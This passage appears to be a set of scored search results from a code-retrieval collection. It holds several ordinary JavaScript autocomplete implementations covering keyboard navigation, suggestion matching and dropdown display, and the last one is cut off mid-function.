$.trim(_self.keywordList[i]);\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t// Remove any keyword comments, i.e. a substring\n\t// enclosed in [] at the end\n\tword = word.replace(/\\s+\\[.*]*\\]\\s*$/, '');\n\tvar currEditWord = _self.delimiters.length > 0 ? $.trim(_delimWords[_currDelimWord]) : _curr.value;\n\n\tif( !fullMatch || (word.toLowerCase() == currEditWord.toLowerCase()) ) {\n\t\t_insertWord(word);\n\t\t_self.suspend();\n\n\t\t// Clear immediately and then embed the finishing code\n\t\t// in a setTimeout so it doesn't hold up the _clear() call.\n\n\t\t_clear();\n\t\tsetTimeout(function(){\n\t\t\t_curr.blur();\n\t\t\tif(_self.completionHandler) {\n\t\t\t\t_self.completionHandler(_curr, word);\n\t\t\t}\n\t\t}, 0);\n\n\t\t$(_curr).removeData('acMouseClicked');\n\t}\n\n\tAutoComplete.getCaretStart(_curr);\n}\n\nfunction _removeDisplay(){\n\tif (_mouseOnList == 0){\n\t\t_display = 0;\n\t\tvar acTable = document.getElementById('autocomplete');\n\t\tif (acTable){\n\t\t\tacTable.parentNode.removeChild(acTable);\n\t\t\tif($.browser.msie && $.browser.version == 6) {\n\t\t\t\t_showSelects();\n\t\t\t}\n\t\t}\n\t\tif (_timeoutId) {\n\t\t\tclearTimeout(_timeoutId);\n\t\t}\n\t\t_self.keywordList = [];\n\t}\n}\n\nfunction _keypress(evt){\n\tif (!evt) {\n\t\tevt = event;\n\t}\n\tif (_caretMove) {\n\t\tevt.stopPropagation();\n\t\tevt.preventDefault();\n\t}\n\treturn !_caretMove;\n}\n\nfunction _checkKey(evt){\n\tif (!evt) {\n\t\tevt = event;\n\t}\n\tvar keyCode = evt.keyCode;\n\tvar caretPosStart = AutoComplete.getCaretStart(_curr);\n\t_caretMove = false;\n\n\tif(_self._suspended && AutoComplete.keyCodeIsPrintable(keyCode)) {\n\t\t_curr.value = '';\n\t\t_self.resume();\n\t\treturn true;\n\t}\n\n\tswitch (keyCode){\n\t\tcase AutoComplete.KEY_ESC:\n\t\t\t_clear();\n\t\t\treturn false;\n\t\tcase AutoComplete.KEY_UP:\n\t\t\tif(_display) {\n\t\t\t\t_goUp();\n\t\t\t\t_caretMove = true;\n\t\t\t\treturn false;\n\t\t\t} else {\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\tcase AutoComplete.KEY_DOWN:\n\t\t\tif(_display) {\n\t\t\t\t_goDown();\n\t\t\t\t_caretMove = true;\n\t\t\t\treturn false;\n\t\t\t} else {\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\tcase AutoComplete.KEY_TAB:\n\t\tcase AutoComplete.KEY_ENTER:\n\t\t\tif (_display){\n\t\t\t\t_caretMove = true;\n\t\t\t\t_enterCompletion();\n\t\t\t\treturn false;\n\t\t\t} else {\n\t\t\t\treturn true;\n\t\t\t}\n\t\tdefault:\n\t\t\tif(!_self._suspended) {\n\t\t\t\tsetTimeout(function(){_suggestCompletions(keyCode)}, 5);\n\t\t\t}\n\t\t\treturn true;\n\t}\n}\n\nfunction _suggestCompletions(keyCode){\n\n\t// Ignore these chars\n\tif (keyCode == AutoComplete.KEY_UP\n\t || keyCode == AutoComplete.KEY_DOWN\n\t || keyCode == AutoComplete.KEY_SPACE\n\t || keyCode == AutoComplete.KEY_SHIFT) {\n\t\treturn;\n\t}\n\n\tvar hitCount = 0;\n\n\tif (_display){\n\t\tvar pos = 0;\n\t\tfor (var i=0; i <= _self.keywordList.length; i++){\n\t\t\tif (_doesMatch[i]) {\n\t\t\t\thitCount++;\n\t\t\t}\n\t\t\tif (hitCount == _pos){\n\t\t\t\tpos = i;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t_pre = pos;\n\t} else {\n\t\t_pre = -1;\n\t}\n\n\tif (!_mimicDropDown && _curr.value == ''){\n\t\t_mouseOnList = 0;\n\t\t_removeDisplay();\n\t\treturn;\n\t}\n\tif (_self.delimiters.length > 0){\n\t\tvar caretPosStart = AutoComplete.getCaretStart(_curr);\n\t\tvar caretPosEnd = AutoComplete.getCaretEnd(_curr);\n\n\t\tvar delimSplitRegExp = new RegExp( \"([\" + _self.delimiters + \"])\" );\n\t\tvar match, segment;\n\t\tvar kwIndex = 0;\n\t\t_delimWords = [''];\n\n\t\tfor (var lpos=0, rpos=_curr.value.length; lpos < _curr.value.length; lpos++, rpos--){\n\t\t\tif (_curr.value.substr(lpos, rpos).search(delimSplitRegExp) === 0){\n\t\t\t\tmatch = _curr.value.substr(lpos, rpos).match(delimSplitRegExp);\n\t\t\t\t_delimChar[kwIndex] = match[1];\n\t\t\t\t_delimWords[++kwIndex] = '';\n\t\t\t} else {\n\t\t\t\t_delimWords[kwIndex] += _curr.value.charAt(lpos);\n\t\t\t}\n\t\t}\n\n\t\tvar strLen = 0;\n\t\t_currDelimWord = -1;\n\t\tfor (var i=0; i < _delimWords.length; i++){\n\t\t\tif (caretPosEnd >= strLen && caretPosEnd <= strLen + _delimWords[i].length){\n\t\t\t\t_currDelimWord = i;\n\t\t\t}\n\t\t\tstrLen += _delimWords[i].length + 1;\n\t\t}\n\t\tvar query = $.trim(_delimWords[_currDelimWord]);\n\t\tvar escQuery = _addSlashes(query);\n\t} else {\n\t\tvar query = _curr.value;\n\t\tvar escQuery = _addSlashes(query);\n\t}\n\tif( !_mimicDropDown ) {\n\t\tif (query.length == 0){\n\t\t\t_mouseOnList = 0;\n\t\t\t_removeDisplay();\n\t\t}\n\t\tif (query.length < _self.charThreshold) {\n\t\t\treturn;\n\t\t}\n\t}\n\tif (_self.firstTextOnly){\n\t\tvar re = new RegExp(\"^\" + escQuery, \"i\");\n\t} else {\n\t\tvar re = new RegExp(escQuery, \"i\");\n\t}\n\n\t// Retrieve keyword list from server for the given key\n\t// (use cached keyword list if available)\n\tvar key = _curr.value;\n\tif(key.length == _self.charThreshold) {\n\t\tif(_self.pastKeywordLists[key]) {\n\t\t\t_self.keywordList = _self.pastKeywordLists[key];\n\t\t} else {\n\t\t\t_self.keywordList = _self.pastKeywordLists[key] = _self.getKeywordList(key);\n\t\t}\n\t}\n\n\tif(!_self.keywordList || _self.keywordList.length < 1) {\n\t\treturn;\n\t}\n\n\t_total = 0;\n\t_toMake = false;\n\t_keywordCount = 0;\n\tfor ( var i=0; i < _self.keywordList.length; i++ ){\n\t\t_doesMatch[i] = false;\n\t\tif ( _mimicDropDown || re.test(_self.keywordList[i])){\n\t\t\t_doesMatch[i] = true;\n\t\t\t_total++;\n\t\t\t_keywordCount++;\n\t\t\tif (_pre == i) {\n\t\t\t\t_toMake = true;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (_timeoutId) {\n\t\tclearTimeout(_timeoutId);\n\t}\n\tif (_self.timeout > 0) {\n\t\tvar callback = function(){\n\t\t\t_mouseOnList = 0;\n\t\t\t_removeDisplay();\n\t\t};\n\t\t_timeoutId = setTimeout(callback, _self.timeout);\n\t}\n\n\tif(_currentExactMatch() == 1) {\n\t\t_rewriteExactMatch();\n\t\t_removeDisplay();\n\t} else {\n\t\t_generate();\n\t}\n}\n\nfunction _rewriteExactMatch() {\n\tif(!_display) {\n\t\treturn false;\n\t}\n\tvar exactMatchPos = _currentExactMatch();\n\tif (exactMatchPos < 0){\n\t\treturn false;\n\t}\n\n\t_pos = exactMatchPos;\n\t_enterCompletion(true);\n\treturn true;\n}\n\nfunction _currentExactMatch(){\n\n\tvar currEditWord = _self.delimiters.length > 0 ? $.trim(_delimWords[_currDelimWord]) : _curr.value;\n\tvar keyword, hitCount = 0;\n\n\tfor (var i=0; i < _self.keywordList.length; i++){\n\t\tkeyword = _self.keywordList[i].replace(/\\s+\\[.*]*\\]\\s*$/, '');\n\t\tif (_doesMatch[i]) {\n\t\t\thitCount++;\n\t\t}\n\t\tif (keyword.toLowerCase() == currEditWord.toLowerCase()){\n\t\t\treturn hitCount;\n\t\t}\n\t}\n\n\treturn -1;\n}\n\nfunction _hideSelects() {\n\tvar $table = $('#autocomplete');\n/*\n\t// Is _isBoundBy() implemented incorrectly?\n\n\t$('select').each(function(i){\n\t\tvar $sel = $(this);\n\t\tif(_isBoundBy($sel, $table)) {\n\t\t\t$sel.data('__acHide', true).css('visibility', 'hidden');\n\t\t}\n\t});\n*/\n\t$('#air_controls fieldset select').each(function(i){\n\t\tvar $sel = $(this);\n\t\t$sel.data('__acHide', true).css('visibility', 'hidden');\n\t});\n}\n\nfunction _showSelects() {\n\t$('select').each(function(){\n\t\tvar $sel = $(this);\n\t\tif($sel.data('__acHide')) {\n\t\t\t$sel.removeData('__acHide').css('visibility', '');\n\t\t}\n\t});\n}\n\nfunction _isBoundBy(elem, container) {\n\n\tvar $elem = $(elem);\n\tvar elemOffset = $elem.offset();\n\tvar elemTop = parseInt(elemOffset.top);\n\tvar elemLeft = parseInt(elemOffset.left);\n\tvar elemBot = elemTop + parseInt($elem.height());\n\tvar elemRight = elemLeft + parseInt($elem.width());\n\n\tvar $container = $(container);\n\tvar conOffset = $container.offset();\n\tvar conTop = parseInt(conOffset.top);\n\tvar conLeft = parseInt(conOffset.left);\n\tvar conBot = conTop + parseInt($container.height());\n\tvar conRight = conLeft + parseInt($container.width());\n\n\treturn\n\t ((conLeft <= elemLeft && elemLeft <= conRight)\n\t || (conLeft <= elemRight && elemRight <= conRight))\n\t && ((conTop <= elemTop && elemTop <= conBot)\n\t || (conTop <= elemBot && elemBot <= conBot));\n}\n\nthis.suspend = function() {\n\t_self._suspended = true;\n}\n\nthis.resume = function() {\n\t_self._suspended = false;\n}\n\n} // End AutoComplete class //", "title": "" }, { "docid": "55aae148276f09620575cca57087e2e1", "score": "0.6350722", "text": "function autocomplete(inp, arr) {\r\n /*the autocomplete function takes two arguments,\r\n the text field element and an array of possible autocompleted values:*/\r\n var currentFocus;\r\n /*execute a function when someone writes in the text field:*/\r\n inp.addEventListener(\"input\", function(e) {\r\n var a, b, i, val = this.value;\r\n /*close any already open lists of autocompleted values*/\r\n closeAllLists();\r\n if (!val) { return false;}\r\n currentFocus = -1;\r\n /*create a DIV element that will contain the items (values):*/\r\n a = document.createElement(\"DIV\");\r\n a.setAttribute(\"id\", this.id + \"autocomplete-list\");\r\n a.setAttribute(\"class\", \"autocomplete-items\");\r\n /*append the DIV element as a child of the autocomplete container:*/\r\n this.parentNode.appendChild(a);\r\n /*for each item in the array...*/\r\n for (i = 0; i < arr.length; i++) {\r\n /*check if the item starts with the same letters as the text field value:*/\r\n if (arr[i].substr(0, val.length).toUpperCase() == val.toUpperCase()) {\r\n /*create a DIV element for each matching element:*/\r\n b = document.createElement(\"DIV\");\r\n /*make the matching letters bold:*/\r\n b.innerHTML = \"<strong>\" + arr[i].substr(0, val.length) + \"</strong>\";\r\n b.innerHTML += arr[i].substr(val.length);\r\n /*insert a input field that will hold the current array item's value:*/\r\n b.innerHTML += \"<input type='hidden' value='\" + arr[i] + \"'>\";\r\n /*execute a function when someone clicks on the item value (DIV element):*/\r\n b.addEventListener(\"click\", function(e) {\r\n /*insert the value for the autocomplete text field:*/\r\n inp.value = this.getElementsByTagName(\"input\")[0].value;\r\n /*close the list of autocompleted values,\r\n (or any other open lists of autocompleted values:*/\r\n closeAllLists();\r\n });\r\n a.appendChild(b);\r\n }\r\n }\r\n });\r\n\r\n\r\n /*execute a function presses a key on the keyboard:*/\r\n inp.addEventListener(\"keydown\", function(e) {\r\n var x = document.getElementById(this.id + \"autocomplete-list\");\r\n if (x) x = x.getElementsByTagName(\"div\");\r\n if (e.keyCode == 40) {\r\n /*If the arrow DOWN key is pressed,\r\n increase the currentFocus variable:*/\r\n currentFocus++;\r\n /*and and make the current item more visible:*/\r\n addActive(x);\r\n } else if (e.keyCode == 38) { //up\r\n /*If the arrow UP key is pressed,\r\n decrease the currentFocus variable:*/\r\n currentFocus--;\r\n /*and and make the current item more visible:*/\r\n addActive(x);\r\n } else if (e.keyCode == 13) {\r\n /*If the ENTER key is pressed, prevent the form from being submitted,*/\r\n e.preventDefault();\r\n if (currentFocus > -1) {\r\n /*and simulate a click on the \"active\" item:*/\r\n if (x) x[currentFocus].click();\r\n }\r\n }\r\n });\r\n\r\n\r\n function addActive(x) {\r\n /*a function to classify an item as \"active\":*/\r\n if (!x) return false;\r\n /*start by removing the \"active\" class on all items:*/\r\n removeActive(x);\r\n if (currentFocus >= x.length) currentFocus = 0;\r\n if (currentFocus < 0) currentFocus = (x.length - 1);\r\n /*add class \"autocomplete-active\":*/\r\n x[currentFocus].classList.add(\"autocomplete-active\");\r\n }\r\n function removeActive(x) {\r\n /*a function to remove the \"active\" class from all autocomplete items:*/\r\n for (var i = 0; i < x.length; i++) {\r\n x[i].classList.remove(\"autocomplete-active\");\r\n }\r\n }\r\n function closeAllLists(elmnt) {\r\n /*close all autocomplete lists in the document,\r\n except the one passed as an argument:*/\r\n var x = document.getElementsByClassName(\"autocomplete-items\");\r\n for (var i = 0; i < x.length; i++) {\r\n if (elmnt != x[i] && elmnt != inp) {\r\n x[i].parentNode.removeChild(x[i]);\r\n }\r\n }\r\n }\r\n /*execute a function when someone clicks in the document:*/\r\n document.addEventListener(\"click\", function (e) {\r\n closeAllLists(e.target);\r\n });\r\n}", "title": "" }, { "docid": "9629430bd73be3a135cc00dbf304cb87", "score": "0.63416165", "text": "getSuggestions(request) {\n let sourceEditor;\n if (!this.completions) {\n this.loadCompletions();\n }\n let {editor, bufferPosition, scopeDescriptor, prefix} = request;\n // return unless prefix?.length\n \n let completions = [];\n \n let line = editor.getTextInRange([[bufferPosition.row, 0], bufferPosition]);\n \n // if(@isPropertyNameCompletion()){\n if (alloyIdNamePattern.test(line)) { // id name\n sourceEditor = util.getFileEditor(related.getTargetPath('xml'));\n if(!sourceEditor.isEmpty()) {\n sourceEditor.scan(/id=\"(.*?)\"/g, item => \n completions.push({\n type: '#',\n text: item.match[1]\n // description: item.match[1]'class definition'\n })\n );\n }\n } else if (alloyIdMemberPattern.test(line)) {\n let idName = alloyIdMemberPattern.exec(line)[1];\n sourceEditor = util.getFileEditor(related.getTargetPath('xml'));\n \n if(!sourceEditor.isEmpty()) {\n let curTagName = '';\n sourceEditor.scan(new RegExp(`id=[\\\"']${idName}[\\\"']`,'g'), function(item) { \n curTagName = viewAutoProvider.getPreviousTag(sourceEditor,item.range.start);\n return item.stop();\n });\n \n if (curTagName && this.completions.tags[curTagName]) {\n let { apiName } = this.completions.tags[curTagName];\n let curTagObject = this.completions.types[apiName];\n if (curTagObject) {\n _.each(curTagObject.functions, value=>\n completions.push({\n type: 'function',\n displayText: `${value}`,\n snippet: `${value}(\\${1})\\${0}`,\n rightLabel: `<${curTagName}>`\n })\n );\n \n _.each(curTagObject.properties, value=>\n completions.push({\n type: 'attribute',\n text: value,\n rightLabel: `<${curTagName}>`\n })\n );\n }\n }\n }\n } else { \n let ruleResult;\n for (let rule of Array.from(customAlloyCompletionRules)) {\n ruleResult = rule.getCompletions(request);\n if (ruleResult) { break; }\n }\n completions = ruleResult || this.getPropertyNameCompletions(request);\n }\n \n if (completions != null) {\n completions.sort(util.completionSortFun);\n }\n // for item in api.types\n // # continue unless prefix and firstCharsEqual(item.name, prefix)\n // \n // completions.push {\n // text : item.name\n // description : item.description.replace tagRegExp, \"\"\n // type : \"object\"\n // }\n // \n // for func in item.functions\n // completions.push {\n // text : item.name+'.'+func.name\n // description : func.description.replace tagRegExp, \"\"\n // type : \"function\"\n // }\n // \n // \n // \n // # replacementPrefix : prefix\n \n \n // completions.sort(ascendingPrefixComparator)\n\n return new Promise(function(resolve) {\n return resolve(completions);\n });\n }", "title": "" }, { "docid": "be0af0672bf21a92a35754e6f0a74b5f", "score": "0.6326555", "text": "function JAutoComplete(){ \n\t\n\tthis.className = arguments.callee.name;\n\tthis.args = arguments[0];\n\tthis.jdebug = this.args.jdebug;\n\t\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.init = function(){\n\t\tthis.debug('init()', this.args);\n\t\t//base UID \n\t\tthis.jlang = this.args.jlang;\n\t\t//main appz soit la classe principale qui soccupe de tout\n\t\tthis.mainAppz = this.args.mainappz;\n\t\t//unique ID\n\t\tthis.uid = this.args.uid;\n\t\t//base div \n\t\tthis.baseDivId = 'kw-content-result-' + this.uid;\t\n\t\t//base input name for kwtype \n\t\tthis.bFocusOnInput = this.args.focusoninput;\t\n\t\t//array of input box name and ref to jquery selector object\n\t\tthis.arrInputBox = [];\t\t\n\t\t//les dernier resultat du autocomplete pour reproposer lors dun press <ENTER>\n\t\tthis.arrLastHintResult = [];\n\t\t//have auto complete returned from server\n\t\tthis.bHaveAutoCompleteResult = false;\n\t\t//si on a au moins un match dans le autocomplete result\n\t\t//cest a dire un debut de phrase car pour les permutation\n\t\t//on essaye de le corriger alors on a un resultat de autocomplete\n\t\t//mais si il ne selectionne rien dedans pas besoin de lancer la recherche\n\t\t//qu ne ramenera rien de toute facon\n\t\tthis.bFoundAutoCompleteMatch = false;\n\t\t//le dernier mot avant le focus sur les li qui changeront le contenu du input box\n\t\tthis.lastTypedWord = '';\t\n\t\t//last typed string qui a retourne un resultat\n\t\tthis.lastSearchString = '';\t\n\t\t//le contenue word du permier LI\t\n\t\tthis.firstLiWord = '';\t\n\t\t//la derniere string\n\t\tthis.currentSearchWord = '';\n\t\t//vu que rien n'est cherche car il se remplit auto il faut setter les params de base\n\t\t//pour que le press <ENTER> fonctionne\t\t\n\t\tif(typeof(this.args.word)){\n\t\t\tthis.currentSearchWord = this.args.word;\n\t\t\tthis.lastSearchString = this.args.word;\t\n\t\t\tthis.bFoundAutoCompleteMatch = true;\n\t\t\tthis.bHaveAutoCompleteResult = true;\n\t\t\t}\n\t\t//le contenue values du LI sur lequel il clique ou press enter\n\t\tthis.focusedKwIds = '';\t\t\n\t\t//min-max\n\t\tthis.minStrLen = 1;\n\t\t//le lastPid des requete Exercices\n\t\tthis.lastAutoCompletePid = {\n\t\t\texercice: 0\n\t\t\t};\n\t\t//le lastPID de la recherche de preview des exercise\n\t\tthis.lastExercisePreviewPid\t= 0;\n\t\t//enable preview exercise fetch\n\t\tthis.bEnableExercisePreview = false;\t\n\t\t//enable erase preview when up or down\n\t\tthis.bEnableRemovePreview = true;\t\n\t\t//enable mouse over keyword exercise preview\n\t\tthis.bEnableMouseOver = false;\t\n\t\t//le temps entre chaque call du fetchAutoCompleteDataWithDelay en millisecond google est a 130ms\n\t\tthis.timeDelay = 0;\n\t\t//delai pour le preview\t\n\t\tthis.timePreviewDelay = 333;\t\n\t\t//le timer du setTimeout poura ller fetcher le autocomplete data\n\t\tthis.timerFetchAutoComplete = 0;\t\n\t\t//timer pour le fetch des exercice preview\n\t\tthis.timerFetchExercisePreview = 0;\t\t\n\t\t//event.which we refused\n\t\t//les event poru lesquelles on ne fera rien genre : <SHIFT + LEFT_ARROW> etc...\n\t\t//http://docstore.mik.ua/orelly/webprog/DHTML_javascript/0596004672_jvdhtmlckbk-app-b.html\t\t\n\t\tthis.arrRefusedEvent = [\n\t\t\t9,16,17,18,\n\t\t\t19,20,33,34,\n\t\t\t35,36,37,39,\n\t\t\t44,45,112,113,\n\t\t\t114,115,116,117,\n\t\t\t118,119,120,121,\n\t\t\t122,123,144,145\n\t\t\t];\n\t\t//kwtype pour les traduction de ttire LI\n\t\tthis.arrKwType = {\n\t\t\t'1': 'keywords',\n\t\t\t'2': 'short title',\n\t\t\t};\n\t\t//\t\n\t\treturn this;\t\n\t\t};\n\t\t\n\t\t\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.create = function(){\n\t\tthis.debug('create()');\t\n\t\tthis.addInputBox();\t\t\n\t\t};\n\t\t\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.setLastTypedWord = function(str){\n\t\tthis.debug('setLastTypedWord()', str);\n\t\t//on garde en memoire\t\n\t\tthis.lastTypedWord = str;\n\t\t//\t\t\n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.setCarretRange = function(params, start, end){\n\t\tthis.debug('setCarretRange()', params, start, end);\n\t\t//on place le cursor\n\t\tparams.refinput.prop('selectionStart', start);\n\t\tparams.refinput.prop('selectionEnd', end);\n\t\t//\t\t\n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.getLastTypedWord = function(){\n\t\tthis.debug('getLastTypedWord()');\n\t\t//\t\n\t\treturn this.lastTypedWord;\t\n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.setFirstLiWord = function(str){\n\t\tthis.debug('setFirstLiWord()', str);\n\t\t//on garde en memoire\t\n\t\tthis.firstLiWord = str;\n\t\t//\t\t\n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.setLastSearchString = function(str){\n\t\tthis.debug('setLastSearchString()', str);\n\t\t//on garde en memoire\t\n\t\tthis.lastSearchString = str;\n\t\t//\t\t\n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.getLastSearchString = function(){\n\t\tthis.debug('getLastSearchString()');\n\t\t//on garde en memoire\t\n\t\treturn this.lastSearchString;\n\t\t//\t\t\n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.getFirstLiWord = function(){\n\t\tthis.debug('getFirstLiWord()');\n\t\t//\t\n\t\treturn this.firstLiWord;\t\n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\n\tthis.setInputBoxText = function(oParams, str, bUpdateBg){\n\t\tthis.debug('setInputBoxText()', oParams, str, bUpdateBg);\n\t\t//on reset le -bg\n\t\tif(bUpdateBg){\n\t\t\tthis.setInputBgBoxText(oParams, '');\n\t\t\t}\n\t\t//le front\n\t\toParams.refinput.val(str);\n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.setInputBgBoxText = function(oParams, str){\n\t\tthis.debug('setInputBgBoxText()', oParams, str);\n\t\t//il va falloir checker si le mot est compose et dans le bon sens aussi\n\t\t//sinon il ne faut pas remplir la case avec le hint\n\t\t//il va falloir faire les bold dans la liste de choix LI aussi\n\t\t//EX TAPE: 'a p', 'p a', 'p', 'a'\n\t\t//EX CHOIX: 'abdominal plank', 'plank abdominal' \t\t\n\t\t\n\t\t//juste le bg input\n\t\toParams.refinputbg.val(str);\n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.getCurrentWord = function(oParams){\n\t\tthis.debug('getCurrentWord()', oParams);\n\t\t//juste le bg input\n\t\t//on y va selon la la cle keyword-exercise\n\t\treturn this.currentSearchWord;\n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.getInputBoxText = function(oParams){\n\t\tthis.debug('getInputBoxText()', oParams);\n\t\t//juste le bg input\n\t\t//le front\t\n\t\treturn oParams.refinput.val();\n\t\t};\t\n\n\t//----------------------------------------------------------------------------------------------------------------------*\n\tthis.trimStringBeginning = function(str){\n\t\tthis.debug('trimStringBeginning()', str);\n\t\t//\n\t\treturn str.replace(/^\\s+/gm, '');\n\t\t}\n\n\t//----------------------------------------------------------------------------------------------------------------------*\n\tthis.trimStringEnding = function(str){\n\t\tthis.debug('trimStringEnding()', str);\n\t\t//\n\t\treturn str.replace(/\\s+$/gm, '');\n\t\t}\n\n\t//----------------------------------------------------------------------------------------------------------------------*\n\tthis.setFocusedKwIds = function(strKwIds, strWord){\n\t\tthis.debug('setFocusedKwIds()', strKwIds, strWord);\n\t\t//on va setter le kwIDS equivalent au contenu du LI\n\t\tthis.focusedKwIds = strKwIds;\n\t\t//on va setter la strig aussi de recherche pour affichage du retour\n\t\tthis.currentSearchWord = strWord;\n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\n\tthis.getFocusedKwIds = function(){\n\t\tthis.debug('getFocusedKwIds()');\t\n\t\t//on va setter le kwIDS equivalent au contenu du LI\n\t\treturn this.focusedKwIds;\n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\t/*\n\t1. sur le focus du LI \n\t\ta) changer le style et le focus\n\t\tb) garder le mot qui a ete ecrit avant d'overwriter\n\t\tc) remplacer le input par le contenu du LI qui a le focus et placer le cursor a la fin\n\t\t\n\t2. quand descend si atteint le bas alors retourne a la case INPUT\n\n\t3. quand monte si atteint le haut alors retourne a la case INPUT\t\n\t\n\t*/\n\tthis.changeLiFocus = function(strDirection, oParams){\n\t\tthis.debug('changeLiFocus()', strDirection, oParams);\n\t\t//\n\t\t//on stop le timer de fetch preview exercise\n\t\tclearTimeout(this.timerFetchExercisePreview);\n\t\t//on reset le pid du preview\n\t\tthis.lastExercisePreviewPid = 0;\n\t\t//base ref du autocomplete\n\t\tvar strUlListingRef = '#' + this.baseDivId + ' > UL.listing';\n\t\t//le id present qui a le focus\t\n\t\tvar iFocusId = parseInt($(strUlListingRef).attr('focus-id'));\n\t\t//si on veut faire disparaitre les precedent preview\n\t\tif(this.bEnableRemovePreview && iFocusId != 0){\n\t\t\t//remove le UL\n\t\t\t//$('#lisr' + iFocusId + ' > UL.exercises').css({'display':'none'});\n\t\t\t$('#' + this.baseDivId + ' ' + '#lisr' + iFocusId + ' > UL.exercises').css({'display':'none'});\n\t\t\t//check si avait deja un preview de loader = 1\n\t\t\t//si oui setter le status a 2 pour eviter de \n\t\t\t//reloader pour rien la prochaine fois\n\t\t\t//if($('#lisr' + iFocusId).attr('preview-loaded') == '1'){\t\n\t\t\tif($('#' + this.baseDivId + ' ' + '#lisr' + iFocusId).attr('preview-loaded') == '1'){\t\n\t\t\t\t//set l'attribute a non loaded\n\t\t\t\t//$('#lisr' + iFocusId).attr('preview-loaded', '2');\n\t\t\t\t$('#' + this.baseDivId + ' ' + '#lisr' + iFocusId).attr('preview-loaded', '2');\n\t\t\t\t}\t\n\t\t\t}\n\t\t//garde le last id qui a ete modifie pour changer le style et le focus\n\t\tvar iLastFocusId = iFocusId;\n\t\t//le max de id row\n\t\tvar iMaxFocusId = parseInt($(strUlListingRef).attr('focus-id-max'));\n\t\t//on incremente le focus-id\n\t\tif(strDirection == 'up'){\n\t\t\tiFocusId--;\n\t\t\t//si jamais est le dernier on le remet au premier\n\t\t\tif(iFocusId <= 0){\n\t\t\t\tiFocusId = 0;\n\t\t\t\t}\n\t\t}else{ //down\n\t\t\tiFocusId++;\n\t\t\t//si jamais est le dernier on le remet au premier\n\t\t\tif(iFocusId > iMaxFocusId){\n\t\t\t\tiFocusId = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t//on enleve le focus et surlignage\n\t\t//$('#lisr' + iLastFocusId).removeClass('focus');\n\t\t$('#' + this.baseDivId + ' ' + '#lisr' + iLastFocusId).removeClass('focus');\n\t\t//si le lastInputId est a zero alors on doit garder ce qui etait ecrit\n\t\tif(iLastFocusId === 0){\n\t\t\tthis.setLastTypedWord($('#' + oParams.input).val());\n\t\t}else{\n\t\t\tif(iFocusId === 0){\t\n\t\t\t\t//on doit remettre ce que l'on a garde en memoire \n\t\t\t\t//car revient sur le input box apres etre passe d'un LI a l'autre \n\t\t\t\tthis.setInputBoxText(oParams, this.getLastTypedWord(), true);\n\t\t\t\t//on remet le bg au permier choix du LI\n\t\t\t\tthis.setInputBgBoxText(oParams, this.getFirstLiWord());\n\t\t\t\t}\n\t\t\t}\n\t\t//si le focus est 0 \n\t\tif(iFocusId === 0){\t\n\t\t\t//si le focus est a 0 et le direction est up donc on doit aller au dernier choix des LI\n\t\t\tif(strDirection == 'up'){\n\t\t\t\t//si est le premier de la liste et reviens au input box\n\t\t\t\tif(iLastFocusId === 1){\n\t\t\t\t\t//on set l'attribut\n\t\t\t\t\t$(strUlListingRef).attr('focus-id', 0);\n\t\t\t\t\t//on met plus rien car peut vouloir faire une recherche \n\t\t\t\t\t//juste avec les input box\n\t\t\t\t\tthis.setFocusedKwIds('', '');\t\n\t\t\t\t}else{\n\t\t\t\t\t//on set sur le dernier LI\n\t\t\t\t\t$('#lisr' + iMaxFocusId).addClass('focus');\t\n\t\t\t\t\t//on change le input box avec le contenu du LI\n\t\t\t\t\t//this.setInputBoxText(oParams, $('#lisr' + iMaxFocusId).attr('keyword-word'), true);\n\t\t\t\t\tthis.setInputBoxText(oParams, $('#' + this.baseDivId + ' ' + '#lisr' + iMaxFocusId).attr('keyword-word'), true);\n\t\t\t\t\t//on set les KWids focused\n\t\t\t\t\t//this.setFocusedKwIds($('#lisr' + iMaxFocusId).attr('keyword-ids'), $('#lisr' + iMaxFocusId).attr('keyword-word'));\n\t\t\t\t\tthis.setFocusedKwIds($('#' + this.baseDivId + ' ' + '#lisr' + iMaxFocusId).attr('keyword-ids'), $('#' + this.baseDivId + ' ' + '#lisr' + iMaxFocusId).attr('keyword-word'));\n\t\t\t\t\t//on set l'attribut\n\t\t\t\t\t$(strUlListingRef).attr('focus-id', iMaxFocusId);\n\t\t\t\t\t//on va loader un preview timer si reste longtemps dessus\n\t\t\t\t\tif(this.bEnableExercisePreview){\n\t\t\t\t\t\tthis.timerFetchExercisePreview = setTimeout(this.fetchExercisePreviewWithDelay.bind(this, oParams, this.getFocusedKwIds(), iMaxFocusId), this.timePreviewDelay);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t}else{ \t//alors on descnd et on est rendu au dernier choix\n\t\t\t\t//met le focus sur le input box\n\t\t\t\t//$('#' + oParams.input).focus();\n\t\t\t\t//on set l'attribut\n\t\t\t\t$(strUlListingRef).attr('focus-id', 0);\n\t\t\t\t//on met plus rien car peut vouloir faire une recherche \n\t\t\t\t//juste avec les input box\n\t\t\t\tthis.setFocusedKwIds('', '');\n\t\t\t\t}\n\t\t}else{\n\t\t\t//on set le focus au LI\n\t\t\t//$('#lisr' + iFocusId).addClass('focus');\n\t\t\t$('#' + this.baseDivId + ' ' + '#lisr' + 